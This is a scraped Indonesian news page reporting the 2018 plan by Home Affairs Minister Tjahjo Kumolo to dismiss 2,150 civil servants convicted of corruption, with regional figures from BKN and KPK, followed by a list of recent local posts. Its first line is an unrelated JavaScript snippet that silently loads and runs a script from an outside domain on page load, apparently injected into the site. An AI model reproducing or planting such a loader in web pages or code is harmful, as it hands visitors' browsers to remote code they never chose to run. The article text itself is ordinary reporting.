(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Mendagri Tjahjo Kumolo Akan Pecat 2.150 PNS Koruptor


JAKARTA, Menteri Dalam Negeri Tjahjo Kumolo menegaskan akan memecat 2.150 pegawai negeri sipil atau PNS yang terlibat korupsi. Hasil rapat koordinasi dengan Menteri Pembedayaan Aparatur Negara, Badan Kepegawaian Nasional dan Komisi Pemberantasan Korupsi (KPK) mereka akan diberhentikan secara tidak hormat.

“Sudah memiliki kekuatan hukum tetap sidang tipikor. Tapi sampai saat ini masih menerima gaji dan belum diberhentikan,” kata Tjahjo di Malang, Senin 10 September 2018. Sesuai Undang Undang, katanya, mereka layak diberhentikan dan dicabut hak normatifnya.

“Saat ini masih dipilah,” katanya. Mendagri dan Menpan, katanya, telah membahas secara detail, termasuk semua data telah dipegang. Untuk itu, akan dikeluarkan surat bersama Mendagri dan Menpan agar memiliki dan memenuhi kepastian hukum. “Mereka bersalah, dan memiliki kekuatan hukum tetap,” katanya dilansir Tempo.co.

Sebelumnya, Badan Kepegawaian Negara (BKN) mencatat 2.674 PNS yang korupsi dan dipenjara, namun mayoritas masih berstatus PNS aktif. Dari 2.674 PNS koruptor, sebanyak 317 sudah diberhentikan dengan tidak hormat. “Sebanyak 2.357 di antaranya masih PNS aktif,” kata Kepala BKN Bima Haria Wibisana di Gedung KPK.

Bima mengatakan koruptor yang masih berstatus PNS paling banyak berada di wilayah Provinsi Kepulauan Riau dan Sumatera Barat dengan total 351 PNS. Belum ada satu pun di antara mereka yang diberhentikan dengan tidak hormat.

Di Provinsi Sumatera Utara terdapat 298 PNS aktif yang juga koruptor. Namun baru 10 di antaranya yang diberhentikan. Sedangkan di Provinsi Bali, NTB, dan NTT ada 292 PNS koruptor yang belum diberhentikan dengan tidak hormat.

Sementara itu, sebelumnya Komisi Pemberantasan Korupsi (KPK) membeberkan data Pegawai Negeri Sipil (PNS) di daerah yang terbukti melakukan korupsi. Dari data Badan Kepegawaian Negara (BKN) yang diperoleh KPK, Banjarmasin termasuk di dalamnya. Namun untuk daerah yang PNS-nya paling banyak korupsi yakni Pekanbaru.

Pekanbaru sendiri tercatat memiliki 301 PNS yang terbukti korupsi dan masih aktif. Dari 301 PNS koruptor yang masih aktif tersebut, baru 3 orang yang diblokir dan belum ada yang dipecat.

Di urutan kedua, daerah yang paling banyak PNS ‎korupsi yakni Medan. Dari data BKN Kantor Regional Medan, ada 298 PNS koruptor yang masih aktif dan baru 10 orang yang dipecat. Namun, 298 PNS tersebut sudah diblokir.

Kemudian, pada urutan ketiga daerah yang PNS-nya terlibat korupsi yakni Denpasar. Di denpasar, ada 292 PNS yang terlibat korupsi dan belum dipecat sama sekali. Dari 292 PNS yang terlibat korupsi, baru 7 orang yang diblokir.

Juru Bicara KPK, Febri Diansyah sebagaimana dilansir okezone.com menjelaskan, sanksi pemblokiran terhadap PNS yang korupsi ‎hanya berdampak pada proses kepegawaiannya seperti kenaikan pangkat, promosi, mutasi menjadi terhenti. Sementara itu, para PNS korupsi yang belum dipecat, masih mendapatkan gaji.

“Namun ‎pembayaran gaji tidak dapat dihentikan sampai adanya keputusan pemberhentian PNS/ASN tersebut,” kata Febri melalui pesan singkatnya.

Sebenarnya, ada 14 daerah yang mencetak banyak PNS korupsi di antaranya, Yogyakarta, Surabaya, Bandung, Makassar, Jakarta, Medan, Palembang, Banjarmasin, Jayapura, Denpasar, Manado, Pekanbaru, Banda Aceh‎, dan Manokwari.

Dari 14 daerah tersebut, total ada 2.357 PNS yang terlibat korupsi dan masih aktif.‎ Sedangkan PNS yang telah dipecat atau diberhentikan secara tidak hormat ada 317 dan 1424 yang telah diblokir. (cel/tmp)

Reporter: Cel/Tmp
Editor: Chell

Desy Arfianty

Recent Posts

Libur Nataru, Polres Banjarbaru Buka Penitipan Kendaraan Bermotor

KANALKALIMANTAN.COM, BANJARBARU - Bagi warga Kota Banjarbaru yang akan meninggalkan rumah pada perayaan libur Natal… Read More

17 jam ago

Gubernur Kalsel Teken Upah Minimun Kabupaten Kota dan Sektoral 2025, Ini Besaran Angkanya

KANALKALIMANTAN.COM, BANJARBARU - Gubernur Kalimantan Selatan (Kalsel) menetapkan besaran Upah Minimum Provinsi (UMK), Upah Minimum… Read More

20 jam ago

Laka Maut di Kawasan Murdjani Banjarbaru, Satu Pemotor Jalan Melawan Arus

KANALKALIMANTAN.COM, BANJARBARU - Sebuah insiden kecelakaan lalu lintas (laka lantas) mengakibatkan seorang pemotor meninggal dunia… Read More

22 jam ago

Debit BRI Multicurrency: Solusi Transaksi Global Tanpa Biaya Tambahan

KANALKALIMANTAN.COM - Liburan akhir tahun keluar negeri kini semakin praktis dengan hadirnya fitur Multicurrency dari… Read More

24 jam ago

Peringatan HUT ke-25 DWP di Kabupaten HSU

KANALKALIMANTAN.COM, AMUNTAI - Dharma Wanita Persatuan (DWP) Kabupaten Hulu Sungai Utara (HSU) merayakan puncak Hari… Read More

24 jam ago

Menutup Tahun Pemko Banjarbaru Raih Dua Penghargaan

KANALKALIMANTAN.COM, BANJARBARU – Menutup tahun 2024, Pemerintah Kota (Pemko) Banjarbaru di era kepemimpinan Aditya Mufti… Read More

1 hari ago

This website uses cookies.